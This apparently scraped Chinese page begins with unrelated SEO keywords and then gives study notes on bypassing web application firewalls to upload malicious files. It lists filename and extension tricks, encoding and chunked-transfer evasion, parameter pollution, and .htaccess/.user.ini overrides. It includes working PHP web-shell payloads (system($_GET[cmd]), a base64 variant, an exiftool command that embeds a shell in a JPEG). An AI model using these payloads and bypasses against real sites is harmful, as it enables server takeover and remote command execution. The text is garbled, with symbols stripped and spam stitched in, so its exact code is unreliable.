网站公司企业网站,网站开发 接口还是ajax,站长工具端口检测,网站开发亿玛酷给力5文件上传漏洞绕过WAF学习笔记 1. WAF检测原理
WAF#xff08;Web应用防火墙#xff09;通过以下方式拦截文件上传攻击#xff1a; 关键字匹配#xff1a;检测文件名、内容中的敏感词#xff08;如?php、eval#xff09;。 扩展名黑名单#xff1a;拦截.php、.jsp…文件上传漏洞绕过WAF学习笔记 1. WAF检测原理
WAFWeb应用防火墙通过以下方式拦截文件上传攻击 关键字匹配检测文件名、内容中的敏感词如?php、eval。 扩展名黑名单拦截.php、.jsp等危险扩展名。 文件头验证检查文件魔数如FFD8FF对应JPEG。 流量特征分析检测异常请求结构如超长文件名、畸形HTTP包。 2. 通用绕过技术
2.1 解析差异利用 大小写混合sHell.PhP、.Php部分WAF未统一大小写。 特殊字符插入 分号截断IISshell.asp;.jpg → 解析为.asp。 换行符插入filenameshell.p\nhp绕过正则匹配。 扩展名混淆 多重扩展名shell.php.jpg → 结合解析漏洞如Apache解析最后有效扩展名。 非标准扩展名.php7、.phtml、.phar需环境支持。 2.2 编码混淆 URL编码 shell.%70hp%70p→ 部分WAF不解码检测。 Unicode编码 shell.\u0070hp → 转换为shell.php。 HTML实体编码 文件名shell.#112;hp#112;p。 Base64/Hex编码文件内容 php ? eval(base64_decode(c3lzdGVtKCRfR0VUWydjbWQnXSk7)); ? 2.3 分块传输Chunked Encoding 绕过原理WAF可能不解析分块传输的文件内容。 示例 http POST /upload HTTP/1.1
Transfer-Encoding: chunked
7\r\n
?php \r\n
8\r\n
system($_GET[cmd]);\r\n
0\r\n 工具Burp Suite的Chunked Coding Converter插件。 2.4 文件内容绕过 图片马注入 在图片元数据中插入代码Exif注释、IPTC字段。 bash exiftool -Comment?php system($_GET[cmd]); ? image.jpg 短标签与动态调用 php ? $_GET[0]? # 短标签
?php $_GET[a]($_GET[b]); ? # 动态函数调用 代码碎片化 php ?php $a syste; $b m; $a.$b(id); ? 2.5 HTTP协议特性利用 参数污染 http POST /upload?filenameshell.jpg HTTP/1.1
Content-Disposition: form-data; namefile; filenameshell.php 部分WAF优先取URL参数中的文件名。 多文件上传绕过 在多个文件字段中插入恶意文件WAF可能只检测第一个。 3. 针对特定WAF的绕过
3.1 云WAF如Cloudflare、阿里云 缓存污染攻击 上传合法文件触发缓存再覆盖为恶意文件。 IP轮询绕过 通过大量不同IP上传绕过频率限制。
3.2 ModSecurity规则绕过 已知规则缺陷 使用非常规扩展名.php%20空格、.php.末尾点。 利用正则回溯限制构造超长文件名耗尽WAF计算资源。 4. 高级技巧
4.1 .htaccess/.user.ini覆盖 .htaccessApache 复制 AddType application/x-httpd-php .jpg .user.iniPHP 复制 auto_prepend_fileshell.jpg
4.2 分片上传绕过 上传文件分片后合并绕过WAF对完整文件的检测。
4.3 0day漏洞利用 CVE-2023-XXXX特定WAF未修复的解析漏洞需持续跟踪。